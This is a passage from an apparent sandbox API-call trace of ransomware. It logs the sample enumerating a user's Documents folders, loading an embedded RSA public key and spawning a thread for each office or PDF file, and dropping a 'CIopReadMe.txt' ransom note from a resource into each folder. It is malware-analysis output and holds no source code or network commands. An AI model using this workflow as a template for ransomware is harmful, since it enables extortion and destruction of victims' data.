2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.169] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="ttYeA5K8BN5b.ppt" | out: lpString1="ttYeA5K8BN5b.ppt") returned="ttYeA5K8BN5b.ppt" [0091.169] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0091.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430 [0091.169] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0xffffffff) returned 0x0 [0091.201] SetErrorMode (uMode=0x1) returned 0x1 [0091.201] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\CIopReadMe.txt") returned 96 [0091.201] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\2pwzntbd\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0091.201] CloseHandle (hObject=0x42c) returned 1 [0091.201] FindNextFileW (in: hFindFile=0x5c3890, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0091.201] FindClose (in: hFindFile=0x5c3890 | out: hFindFile=0x5c3890) returned 1 [0091.201] FindClose (in: hFindFile=0x5c3890 | out: hFindFile=0x5c3890) returned 0 [0091.201] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0091.201] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0091.202] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x5c35d0 [0091.202] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0091.202] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0091.202] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0091.202] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0091.202] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.202] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0091.202] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.202] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.202] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.202] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.202] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0091.202] FindClose (in: hFindFile=0x5c35d0 | out: hFindFile=0x5c35d0) returned 1 [0091.202] FindClose (in: hFindFile=0x5c35d0 | out: hFindFile=0x5c35d0) returned 0 [0091.202] FindNextFileW (in: hFindFile=0x5c3310, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0091.202] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2="..") returned 1 [0091.202] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2=".") returned 1 [0091.202] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0091.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0091.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0091.202] SetErrorMode (uMode=0x1) returned 0x1 [0091.202] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0091.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.202] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.202] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0091.203] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x5c35d0 [0091.203] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0091.203] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0091.203] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.203] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.203] lstrcmpW (lpString1="r873fj.xls", lpString2="..") returned 1 [0091.203] lstrcmpW (lpString1="r873fj.xls", lpString2=".") returned 1 [0091.203] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned 96 [0091.203] Sleep (dwMilliseconds=0xd) [0091.234] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.234] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="r873fj.xls" | out: lpString1="r873fj.xls") returned="r873fj.xls" [0091.234] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0091.235] SetErrorMode (uMode=0x1) returned 0x1 [0091.235] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt") returned 106 [0091.235] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.235] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0091.235] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0091.236] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0091.236] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0091.236] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0091.236] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438 [0091.236] WriteFile (in: hFile=0x438, lpBuffer=0x684cc8*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc195c, lpOverlapped=0x0 | out: lpBuffer=0x684cc8*, lpNumberOfBytesWritten=0x2dc195c*=0x759, lpOverlapped=0x0) returned 1 [0091.237] CloseHandle (hObject=0x438) returned 1 [0091.237] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.237] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf", lpString2="..") returned 1 [0091.237] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf", lpString2=".") returned 1 [0091.237] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned 96 [0091.237] Sleep (dwMilliseconds=0xd) [0091.263] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.263] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="s9_oB4RJJAVSDjPCS.pdf" | out: lpString1="s9_oB4RJJAVSDjPCS.pdf") returned="s9_oB4RJJAVSDjPCS.pdf" [0091.263] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438 [0091.263] WaitForSingleObject (hHandle=0x438, dwMilliseconds=0xffffffff) returned 0x0 [0091.471] SetErrorMode (uMode=0x1) returned 0x1 [0091.471] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt") returned 106 [0091.471] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0091.471] CloseHandle (hObject=0x448) returned 1 [0091.471] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.471] lstrcmpW (lpString1="UmcQX7d.pptx", lpString2="..") returned 1 [0091.471] lstrcmpW (lpString1="UmcQX7d.pptx", lpString2=".") returned 1 [0091.471] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned 96 [0091.471] Sleep (dwMilliseconds=0xd) [0091.497] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.497] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="UmcQX7d.pptx" | out: lpString1="UmcQX7d.pptx") returned="UmcQX7d.pptx" [0091.497] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0091.497] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0xffffffff) returned 0x0 [0091.557] SetErrorMode (uMode=0x1) returned 0x1 [0091.557] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt") returned 106 [0091.557] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\-3ostnyb\\7hk2lc8byx_mxaozre\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0091.557] CloseHandle (hObject=0x434) returned 1 [0091.558] FindNextFileW (in: hFindFile=0x5c35d0, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0091.558] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx", lpString2="..") returned 1 [0091.558] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx", lpString2=".") returned 1 [0091.558] wsprintfW (in: param_1=0x2dc2958, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned 96 [0091.558] Sleep (dwMilliseconds=0xd) [0091.575] lstrcpyA (in: lpString1=0x2dc1da0, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0091.575] lstrcpyW (in: lpString1=0x2dc22fe, lpString2="XJ2OD9lQq0BG.docx" | out: lpString1="XJ2OD9lQq0BG.docx") returned="XJ2OD9lQq0BG.docx" [0091.575] lstrcpyW (in: lpString1=0x2dc1efe, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0091.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc1da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434 [0091.576] SetErrorMode (uMode=0x1) returned 0x1 [0091.576] wsprintfW (in: param_1=0x2dc1964, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\CIopReadMe.txt") returned 106 [0091.576] CreateFileW 